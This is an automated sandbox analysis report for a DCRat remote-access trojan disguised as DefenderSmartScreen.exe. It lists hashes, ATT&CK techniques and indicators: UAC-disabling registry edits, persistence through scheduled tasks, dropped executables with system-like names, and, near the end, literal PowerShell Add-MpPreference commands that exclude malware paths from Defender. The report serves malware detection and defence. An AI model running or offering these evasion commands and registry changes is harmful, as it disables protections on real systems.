dcrat | 47914fa6b0464f1a14c06792e85ce1ba4620b950a1dfb5168d097fda39b8a6fe

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
30-08-2022 02:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DefenderSmartScreen.exe
Size

1.4MB
MD5

5d66bae46d9759662f2309dc9bb8d2cc
SHA1

bd553872c196f31bc879555ae9f68dca5a337ba7
SHA256

47914fa6b0464f1a14c06792e85ce1ba4620b950a1dfb5168d097fda39b8a6fe
SHA512

18f49104b2de5cae32e90d43eab28ed37a5dcb5a661ce3fa57b52555009f3fd88683d711c631420acd01d1a24dafee94539c6143e185f7ecbb6d7646fbd5e3c1
SSDEEP

24576:9PV32MblP1ol19heoF6heWOeWlERO6XmN/DipYrkJDF:/324okobWyl3N/Di4k

Score

10^/10

dcrat discovery evasion exploit infostealer rat spyware stealer trojan

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe

Process spawned unexpected child process 57 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5024	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4272	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5044	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4768	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4924	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4936	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2016	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4328	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1520	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3640	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4008	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4360	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1104	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1724	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1116	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4108	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3716	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2488	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2120	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	456	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3556	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1052	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2344	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1276	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1028	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	344	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	220	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4488	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2376	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2296	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4432	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4200	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1540	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	752	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	404	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4996	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4144	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3436	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1444	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1864	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4604	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1980	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	544	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1844	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2180	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3028	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4716	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4204	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2860	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3152	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3392	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4892	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4748	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1804	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1472	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2920	4624	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2632	4624	schtasks.exe

UAC bypass 3 TTPs 6 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

dllhost.exeDefenderSmartScreen.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	DefenderSmartScreen.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	DefenderSmartScreen.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	DefenderSmartScreen.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	dllhost.exe

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
behavioral2/memory/2980-132-0x0000000000DF0000-0x0000000000F52000-memory.dmp	dcrat
C:\Windows\Tasks\dllhost.exe	dcrat
C:\Windows\Tasks\dllhost.exe	dcrat

Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

conhost.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts conhost.exe
Executes dropped EXE 5 IoCs

Processes:

dllhost.exenew1.exeC4Updater.exeSysApp.exefodhelper.exe

pid process

2860 dllhost.exe
5884 new1.exe
3520 C4Updater.exe
3044 SysApp.exe
1988 fodhelper.exe
Possible privilege escalation attempt 2 IoCs
exploit

Processes:

icacls.exetakeown.exe

pid process

2504 icacls.exe
2604 takeown.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe

pid	process
2860	dllhost.exe
5884	new1.exe
3520	C4Updater.exe
3044	SysApp.exe
1988	fodhelper.exe

pid	process
2504	icacls.exe
2604	takeown.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

DefenderSmartScreen.exedllhost.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	DefenderSmartScreen.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	dllhost.exe

Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

2604 takeown.exe
2504 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
2604	takeown.exe
2504	icacls.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

dllhost.exeDefenderSmartScreen.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	DefenderSmartScreen.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	DefenderSmartScreen.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	dllhost.exe

Drops file in Program Files directory 18 IoCs

Processes:

DefenderSmartScreen.execonhost.exe

description	ioc	process
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\backgroundTaskHost.exe	DefenderSmartScreen.exe
File created	C:\Program Files\Microsoft Office\Office16\upfc.exe	DefenderSmartScreen.exe
File created	C:\Program Files\Windows Media Player\Network Sharing\9e8d7a4ca61bd9	DefenderSmartScreen.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\eddb19405b7ce1	DefenderSmartScreen.exe
File created	C:\Program Files\Windows Security\SearchApp.exe	DefenderSmartScreen.exe
File created	C:\Program Files\Windows Security\38384e6a620884	DefenderSmartScreen.exe
File created	C:\Program Files (x86)\Windows Portable Devices\wininit.exe	DefenderSmartScreen.exe
File created	C:\Program Files\Java\jre1.8.0_66\bin\wininit.exe	DefenderSmartScreen.exe
File created	C:\Program Files\SmartScreenQC\Defender\DefenderProtection.exe	conhost.exe
File created	C:\Program Files\Windows Media Player\Network Sharing\RuntimeBroker.exe	DefenderSmartScreen.exe
File created	C:\Program Files\Java\jre1.8.0_66\bin\56085415360792	DefenderSmartScreen.exe
File created	C:\Program Files\Google\Chrome\Application\dwm.exe	DefenderSmartScreen.exe
File created	C:\Program Files\Microsoft Office\Office16\ea1d8f6d871115	DefenderSmartScreen.exe
File created	C:\Program Files\Windows Media Player\eddb19405b7ce1	DefenderSmartScreen.exe
File created	C:\Program Files (x86)\Windows Portable Devices\56085415360792	DefenderSmartScreen.exe
File created	C:\Program Files\Google\Chrome\Application\6cb0b6c459d5d3	DefenderSmartScreen.exe
File opened for modification	C:\Program Files\SmartScreenQC\Defender\DefenderProtection.exe	conhost.exe
File created	C:\Program Files\Windows Media Player\backgroundTaskHost.exe	DefenderSmartScreen.exe

Drops file in Windows directory 2 IoCs

Processes:

DefenderSmartScreen.exe

description	ioc	process
File created	C:\Windows\Tasks\dllhost.exe	DefenderSmartScreen.exe
File created	C:\Windows\Tasks\5940a34987c991	DefenderSmartScreen.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

5484 sc.exe
1132 sc.exe
1116 sc.exe
980 sc.exe
480 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
5484	sc.exe
1132	sc.exe
1116	sc.exe
980	sc.exe
480	sc.exe

Creates scheduled task(s) 1 TTPs 59 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

pid	process
4432	schtasks.exe
2860	schtasks.exe
2296	schtasks.exe
4716	schtasks.exe
4204	schtasks.exe
1472	schtasks.exe
4768	schtasks.exe
3392	schtasks.exe
4892	schtasks.exe
2632	schtasks.exe
1444	schtasks.exe
544	schtasks.exe
3028	schtasks.exe
344	schtasks.exe
1724	schtasks.exe
4272	schtasks.exe
220	schtasks.exe
1980	schtasks.exe
1880	schtasks.exe
2344	schtasks.exe
4360	schtasks.exe
4200	schtasks.exe
2180	schtasks.exe
3152	schtasks.exe
4924	schtasks.exe
1052	schtasks.exe
1116	schtasks.exe
1104	schtasks.exe
2376	schtasks.exe
2920	schtasks.exe
1520	schtasks.exe
2120	schtasks.exe
1540	schtasks.exe
1864	schtasks.exe
2516	schtasks.exe
3640	schtasks.exe
1276	schtasks.exe
4488	schtasks.exe
4144	schtasks.exe
1844	schtasks.exe
1804	schtasks.exe
5044	schtasks.exe
752	schtasks.exe
404	schtasks.exe
4748	schtasks.exe
2488	schtasks.exe
3716	schtasks.exe
3436	schtasks.exe
4008	schtasks.exe
4936	schtasks.exe
2016	schtasks.exe
4328	schtasks.exe
4108	schtasks.exe
456	schtasks.exe
3556	schtasks.exe
1028	schtasks.exe
5024	schtasks.exe
4604	schtasks.exe
4996	schtasks.exe

Modifies registry class 1 IoCs

Processes:

dllhost.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings dllhost.exe
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

4260 reg.exe
2268 reg.exe
3524 reg.exe
2484 reg.exe
3172 reg.exe
5080 reg.exe
5592 reg.exe
5636 reg.exe
5544 reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	dllhost.exe

pid	process
4260	reg.exe
2268	reg.exe
3524	reg.exe
2484	reg.exe
3172	reg.exe
5080	reg.exe
5592	reg.exe
5636	reg.exe
5544	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

DefenderSmartScreen.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exedllhost.exe

pid	process
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2980	DefenderSmartScreen.exe
2248	powershell.exe
2248	powershell.exe
4212	powershell.exe
4212	powershell.exe
2892	powershell.exe
2892	powershell.exe
4652	powershell.exe
4652	powershell.exe
668	powershell.exe
668	powershell.exe
4456	powershell.exe
4456	powershell.exe
1824	powershell.exe
1824	powershell.exe
3740	powershell.exe
3740	powershell.exe
4088	powershell.exe
4088	powershell.exe
3660	powershell.exe
3660	powershell.exe
4320	powershell.exe
4320	powershell.exe
2852	powershell.exe
2852	powershell.exe
4856	powershell.exe
4856	powershell.exe
4272	powershell.exe
4272	powershell.exe
3384	powershell.exe
3384	powershell.exe
4316	powershell.exe
4316	powershell.exe
1332	powershell.exe
1332	powershell.exe
1856	powershell.exe
1484	powershell.exe
1856	powershell.exe
1484	powershell.exe
2248	powershell.exe
2248	powershell.exe
2860	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

dllhost.exe

pid process

2860 dllhost.exe

pid	process
2860	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

description	pid	process
Token: SeDebugPrivilege	2980	DefenderSmartScreen.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	4212	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	4652	powershell.exe
Token: SeDebugPrivilege	668	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeDebugPrivilege	3740	powershell.exe
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	3660	powershell.exe
Token: SeDebugPrivilege	4320	powershell.exe
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeDebugPrivilege	3384	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeDebugPrivilege	1484	powershell.exe
Token: SeDebugPrivilege	2860	dllhost.exe
Token: SeDebugPrivilege	5884	new1.exe
Token: SeDebugPrivilege	1220	powershell.exe
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeIncreaseQuotaPrivilege	4128	powershell.exe
Token: SeSecurityPrivilege	4128	powershell.exe
Token: SeTakeOwnershipPrivilege	4128	powershell.exe
Token: SeLoadDriverPrivilege	4128	powershell.exe
Token: SeSystemProfilePrivilege	4128	powershell.exe
Token: SeSystemtimePrivilege	4128	powershell.exe
Token: SeProfSingleProcessPrivilege	4128	powershell.exe
Token: SeIncBasePriorityPrivilege	4128	powershell.exe
Token: SeCreatePagefilePrivilege	4128	powershell.exe
Token: SeBackupPrivilege	4128	powershell.exe
Token: SeRestorePrivilege	4128	powershell.exe
Token: SeShutdownPrivilege	4128	powershell.exe
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeSystemEnvironmentPrivilege	4128	powershell.exe
Token: SeRemoteShutdownPrivilege	4128	powershell.exe
Token: SeUndockPrivilege	4128	powershell.exe
Token: SeManageVolumePrivilege	4128	powershell.exe
Token: 33	4128	powershell.exe
Token: 34	4128	powershell.exe
Token: 35	4128	powershell.exe
Token: 36	4128	powershell.exe
Token: SeIncreaseQuotaPrivilege	4128	powershell.exe
Token: SeSecurityPrivilege	4128	powershell.exe
Token: SeTakeOwnershipPrivilege	4128	powershell.exe
Token: SeLoadDriverPrivilege	4128	powershell.exe
Token: SeSystemProfilePrivilege	4128	powershell.exe
Token: SeSystemtimePrivilege	4128	powershell.exe
Token: SeProfSingleProcessPrivilege	4128	powershell.exe
Token: SeIncBasePriorityPrivilege	4128	powershell.exe
Token: SeCreatePagefilePrivilege	4128	powershell.exe
Token: SeBackupPrivilege	4128	powershell.exe
Token: SeRestorePrivilege	4128	powershell.exe
Token: SeShutdownPrivilege	4128	powershell.exe
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeSystemEnvironmentPrivilege	4128	powershell.exe
Token: SeRemoteShutdownPrivilege	4128	powershell.exe
Token: SeUndockPrivilege	4128	powershell.exe
Token: SeManageVolumePrivilege	4128	powershell.exe
Token: 33	4128	powershell.exe
Token: 34	4128	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

DefenderSmartScreen.exedllhost.exeC4Updater.execonhost.execmd.exe

description	pid	process	target process
PID 2980 wrote to memory of 4212	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4212	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 2248	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 2248	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 2892	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 2892	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4652	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4652	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4456	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4456	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 1824	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 1824	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 3740	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 3740	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 668	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 668	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4088	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4088	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 3660	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 3660	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4320	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4320	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 2956	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 2956	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 2852	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 2852	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4856	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4856	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4272	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4272	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 3384	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 3384	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 1332	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 1332	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4316	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 4316	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 1856	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 1856	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 1484	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 1484	2980	DefenderSmartScreen.exe	powershell.exe
PID 2980 wrote to memory of 2860	2980	DefenderSmartScreen.exe	dllhost.exe
PID 2980 wrote to memory of 2860	2980	DefenderSmartScreen.exe	dllhost.exe
PID 2860 wrote to memory of 5748	2860	dllhost.exe	WScript.exe
PID 2860 wrote to memory of 5748	2860	dllhost.exe	WScript.exe
PID 2860 wrote to memory of 5780	2860	dllhost.exe	WScript.exe
PID 2860 wrote to memory of 5780	2860	dllhost.exe	WScript.exe
PID 2860 wrote to memory of 5884	2860	dllhost.exe	new1.exe
PID 2860 wrote to memory of 5884	2860	dllhost.exe	new1.exe
PID 2860 wrote to memory of 5884	2860	dllhost.exe	new1.exe
PID 2860 wrote to memory of 3520	2860	dllhost.exe	C4Updater.exe
PID 2860 wrote to memory of 3520	2860	dllhost.exe	C4Updater.exe
PID 2860 wrote to memory of 3044	2860	dllhost.exe	SysApp.exe
PID 2860 wrote to memory of 3044	2860	dllhost.exe	SysApp.exe
PID 2860 wrote to memory of 3044	2860	dllhost.exe	SysApp.exe
PID 3520 wrote to memory of 1092	3520	C4Updater.exe	conhost.exe
PID 3520 wrote to memory of 1092	3520	C4Updater.exe	conhost.exe
PID 3520 wrote to memory of 1092	3520	C4Updater.exe	conhost.exe
PID 1092 wrote to memory of 1220	1092	conhost.exe	powershell.exe
PID 1092 wrote to memory of 1220	1092	conhost.exe	powershell.exe
PID 1092 wrote to memory of 1148	1092	conhost.exe	cmd.exe
PID 1092 wrote to memory of 1148	1092	conhost.exe	cmd.exe
PID 1092 wrote to memory of 4128	1092	conhost.exe	powershell.exe
PID 1092 wrote to memory of 4128	1092	conhost.exe	powershell.exe
PID 1148 wrote to memory of 1132	1148	cmd.exe	sc.exe

System policy modification 1 TTPs 6 IoCs

evasion

Modify Registry

T1112

Processes:

DefenderSmartScreen.exedllhost.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	DefenderSmartScreen.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	DefenderSmartScreen.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	DefenderSmartScreen.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	dllhost.exe

C:\Users\Admin\AppData\Local\Temp\DefenderSmartScreen.exe
"C:\Users\Admin\AppData\Local\Temp\DefenderSmartScreen.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2980

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\dllhost.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Media Player\Network Sharing\RuntimeBroker.exe'
2⤵
